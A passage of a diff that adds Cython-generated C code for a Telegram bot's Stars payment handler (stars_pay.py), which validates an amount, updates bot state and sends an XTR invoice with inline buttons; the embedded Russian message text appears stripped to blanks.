= 0; + if (__pyx_t_5) { + + /* "handlers/payments/stars_pay.py":175 + * amount = int(message.text) + * if amount // RUB_TO_XTR <= 0: + * await message.answer( # <<<<<<<<<<<<<< + * f" {RUB_TO_XTR}. , :" + * ) + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 175, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + + /* "handlers/payments/stars_pay.py":176 + * if amount // RUB_TO_XTR <= 0: + * await message.answer( + * f" {RUB_TO_XTR}. , :" # <<<<<<<<<<<<<< + * ) + * return + */ + __pyx_t_2 = PyTuple_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 176, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_6 = 0; + __pyx_t_7 = 127; + __Pyx_INCREF(__pyx_kp_u__24); + __pyx_t_7 = (65535 > __pyx_t_7) ? 65535 : __pyx_t_7; + __pyx_t_6 += 25; + __Pyx_GIVEREF(__pyx_kp_u__24); + PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_kp_u__24); + __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_RUB_TO_XTR); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 176, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_9 = __Pyx_PyObject_FormatSimple(__pyx_t_8, __pyx_empty_unicode); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 176, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_9) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_9) : __pyx_t_7; + __pyx_t_6 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_9); + __Pyx_GIVEREF(__pyx_t_9); + PyTuple_SET_ITEM(__pyx_t_2, 1, __pyx_t_9); + __pyx_t_9 = 0; + __Pyx_INCREF(__pyx_kp_u__25); + __pyx_t_7 = (65535 > __pyx_t_7) ? 65535 : __pyx_t_7; + __pyx_t_6 += 36; + __Pyx_GIVEREF(__pyx_kp_u__25); + PyTuple_SET_ITEM(__pyx_t_2, 2, __pyx_kp_u__25); + __pyx_t_9 = __Pyx_PyUnicode_Join(__pyx_t_2, 3, __pyx_t_6, __pyx_t_7); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 176, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_9}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 175, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L6_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 175, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 175, __pyx_L1_error) + } + } + + /* "handlers/payments/stars_pay.py":178 + * f" {RUB_TO_XTR}. , :" + * ) + * return # <<<<<<<<<<<<<< + * + * await state.update_data(amount=amount) + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; + goto __pyx_L0; + + /* "handlers/payments/stars_pay.py":174 + * if message.text.isdigit(): + * amount = int(message.text) + * if amount // RUB_TO_XTR <= 0: # <<<<<<<<<<<<<< + * await message.answer( + * f" {RUB_TO_XTR}. , :" + */ + } + + /* "handlers/payments/stars_pay.py":180 + * return + * + * await state.update_data(amount=amount) # <<<<<<<<<<<<<< + * await state.set_state( + * ReplenishBalanceState.waiting_for_payment_confirmation_stars + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_update_data); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 180, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 180, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_amount, __pyx_cur_scope->__pyx_v_amount) < 0) __PYX_ERR(0, 180, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 180, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_9); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L7_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 180, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 180, __pyx_L1_error) + } + } + + /* "handlers/payments/stars_pay.py":181 + * + * await state.update_data(amount=amount) + * await state.set_state( # <<<<<<<<<<<<<< + * ReplenishBalanceState.waiting_for_payment_confirmation_stars + * ) + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 181, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + + /* "handlers/payments/stars_pay.py":182 + * await state.update_data(amount=amount) + * await state.set_state( + * ReplenishBalanceState.waiting_for_payment_confirmation_stars # <<<<<<<<<<<<<< + * ) + * try: + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 182, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_waiting_for_payment_confirmation); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 182, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_t_2}; + __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 181, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_9); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 3; + return __pyx_r; + __pyx_L8_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 181, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 181, __pyx_L1_error) + } + } + + /* "handlers/payments/stars_pay.py":184 + * ReplenishBalanceState.waiting_for_payment_confirmation_stars + * ) + * try: # <<<<<<<<<<<<<< + * builder = InlineKeyboardBuilder() + * builder.row( + */ + { + __Pyx_ExceptionSave(&__pyx_t_10, &__pyx_t_11, &__pyx_t_12); + __Pyx_XGOTREF(__pyx_t_10); + __Pyx_XGOTREF(__pyx_t_11); + __Pyx_XGOTREF(__pyx_t_12); + /*try:*/ { + + /* "handlers/payments/stars_pay.py":185 + * ) + * try: + * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< + * builder.row( + * InlineKeyboardButton(text="", pay=True), + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 185, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, NULL}; + __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 185, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_GIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_v_builder = __pyx_t_9; + __pyx_t_9 = 0; + + /* "handlers/payments/stars_pay.py":186 + * try: + * builder = InlineKeyboardBuilder() + * builder.row( # <<<<<<<<<<<<<< + * InlineKeyboardButton(text="", pay=True), + * ) + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 186, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_1); + + /* "handlers/payments/stars_pay.py":187 + * builder = InlineKeyboardBuilder() + * builder.row( + * InlineKeyboardButton(text="", pay=True), # <<<<<<<<<<<<<< + * ) + * builder.row( + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 187, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 187, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_n_u__13) < 0) __PYX_ERR(0, 187, __pyx_L9_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_pay, Py_True) < 0) __PYX_ERR(0, 187, __pyx_L9_error) + __pyx_t_8 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 187, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_t_8}; + __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 186, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + + /* "handlers/payments/stars_pay.py":189 + * InlineKeyboardButton(text="", pay=True), + * ) + * builder.row( # <<<<<<<<<<<<<< + * InlineKeyboardButton(text=" ", callback_data="pay"), + * ) + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 189, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_1); + + /* "handlers/payments/stars_pay.py":190 + * ) + * builder.row( + * InlineKeyboardButton(text=" ", callback_data="pay"), # <<<<<<<<<<<<<< + * ) + * await message.answer_invoice( + */ + __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 190, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 190, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_kp_u__4) < 0) __PYX_ERR(0, 190, __pyx_L9_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 190, __pyx_L9_error) + __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_8, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 190, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_t_2}; + __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 189, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + + /* "handlers/payments/stars_pay.py":192 + * InlineKeyboardButton(text=" ", callback_data="pay"), + * ) + * await message.answer_invoice( # <<<<<<<<<<<<<< + * title=f" {amount} .", + * description=f" {amount} .", + */ + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer_invoice); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 192, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_9); + + /* "handlers/payments/stars_pay.py":193 + * ) + * await message.answer_invoice( + * title=f" {amount} .", # <<<<<<<<<<<<<< + * description=f" {amount} .", + * prices=[LabeledPrice(label="XTR", amount=int(amount // RUB_TO_XTR))], + */ + __pyx_t_1 = __Pyx_PyDict_NewPresized(7); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 193, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = PyTuple_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 193, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_6 = 0; + __pyx_t_7 = 127; + __Pyx_INCREF(__pyx_kp_u__14); + __pyx_t_7 = (65535 > __pyx_t_7) ? 65535 : __pyx_t_7; + __pyx_t_6 += 25; + __Pyx_GIVEREF(__pyx_kp_u__14); + PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_kp_u__14); + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 193, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) : __pyx_t_7; + __pyx_t_6 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_3); + __Pyx_GIVEREF(__pyx_t_3); + PyTuple_SET_ITEM(__pyx_t_2, 1, __pyx_t_3); + __pyx_t_3 = 0; + __Pyx_INCREF(__pyx_kp_u__15); + __pyx_t_7 = (65535 > __pyx_t_7) ? 65535 : __pyx_t_7; + __pyx_t_6 += 8; + __Pyx_GIVEREF(__pyx_kp_u__15); + PyTuple_SET_ITEM(__pyx_t_2, 2, __pyx_kp_u__15); + __pyx_t_3 = __Pyx_PyUnicode_Join(__pyx_t_2, 3, __pyx_t_6, __pyx_t_7); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 193, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_title, __pyx_t_3) < 0) __PYX_ERR(0, 193, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/stars_pay.py":194 + * await message.answer_invoice( + * title=f" {amount} .", + * description=f" {amount} .", # <<<<<<<<<<<<<< + * prices=[LabeledPrice(label="XTR", amount=int(amount // RUB_TO_XTR))], + * provider_token="", + */ + __pyx_t_3 = PyTuple_New(3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 194, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_6 = 0; + __pyx_t_7 = 127; + __Pyx_INCREF(__pyx_kp_u__14); + __pyx_t_7 = (65535 > __pyx_t_7) ? 65535 : __pyx_t_7; + __pyx_t_6 += 25; + __Pyx_GIVEREF(__pyx_kp_u__14); + PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_kp_u__14); + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 194, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) : __pyx_t_7; + __pyx_t_6 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_2); + __Pyx_GIVEREF(__pyx_t_2); + PyTuple_SET_ITEM(__pyx_t_3, 1, __pyx_t_2); + __pyx_t_2 = 0; + __Pyx_INCREF(__pyx_kp_u__15); + __pyx_t_7 = (65535 > __pyx_t_7) ? 65535 : __pyx_t_7; + __pyx_t_6 += 8; + __Pyx_GIVEREF(__pyx_kp_u__15); + PyTuple_SET_ITEM(__pyx_t_3, 2, __pyx_kp_u__15); + __pyx_t_2 = __Pyx_PyUnicode_Join(__pyx_t_3, 3, __pyx_t_6, __pyx_t_7); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 194, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_description, __pyx_t_2) < 0) __PYX_ERR(0, 193, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/stars_pay.py":195 + * title=f" {amount} .", + * description=f" {amount} .", + * prices=[LabeledPrice(label="XTR", amount=int(amount // RUB_TO_XTR))], # <<<<<<<<<<<<<< + * provider_token="", + * payload=f"{amount}_stars", + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_LabeledPrice); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 195, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 195, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_label, __pyx_n_u_XTR) < 0) __PYX_ERR(0, 195, __pyx_L9_error) + __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_RUB_TO_XTR); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 195, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_13 = PyNumber_FloorDivide(__pyx_cur_scope->__pyx_v_amount, __pyx_t_8); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 195, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_8 = __Pyx_PyNumber_Int(__pyx_t_13); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 195, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_amount, __pyx_t_8) < 0) __PYX_ERR(0, 195, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_8 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 195, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 195, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_GIVEREF(__pyx_t_8); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_t_8)) __PYX_ERR(0, 195, __pyx_L9_error); + __pyx_t_8 = 0; + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_prices, __pyx_t_3) < 0) __PYX_ERR(0, 193, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_provider_token, __pyx_kp_u__16) < 0) __PYX_ERR(0, 193, __pyx_L9_error) + + /* "handlers/payments/stars_pay.py":197 + * prices=[LabeledPrice(label="XTR", amount=int(amount // RUB_TO_XTR))], + * provider_token="", + * payload=f"{amount}_stars", # <<<<<<<<<<<<<< + * currency="XTR", + * reply_markup=builder.as_markup(), + */ + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 197, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_8 = __Pyx_PyUnicode_ConcatInPlace(__pyx_t_3, __pyx_n_u_stars_2); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 197, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_payload, __pyx_t_8) < 0) __PYX_ERR(0, 193, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_currency, __pyx_n_u_XTR) < 0) __PYX_ERR(0, 193, __pyx_L9_error) + + /* "handlers/payments/stars_pay.py":199 + * payload=f"{amount}_stars", + * currency="XTR", + * reply_markup=builder.as_markup(), # <<<<<<<<<<<<<< + * ) + * except Exception as e: + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 199, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, NULL}; + __pyx_t_8 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 199, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_reply_markup, __pyx_t_8) < 0) __PYX_ERR(0, 193, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + + /* "handlers/payments/stars_pay.py":192 + * InlineKeyboardButton(text=" ", callback_data="pay"), + * ) + * await message.answer_invoice( # <<<<<<<<<<<<<< + * title=f" {amount} .", + * description=f" {amount} .", + */ + __pyx_t_8 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 192, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_8); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_t_11); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_11; + __Pyx_XGIVEREF(__pyx_t_12); + 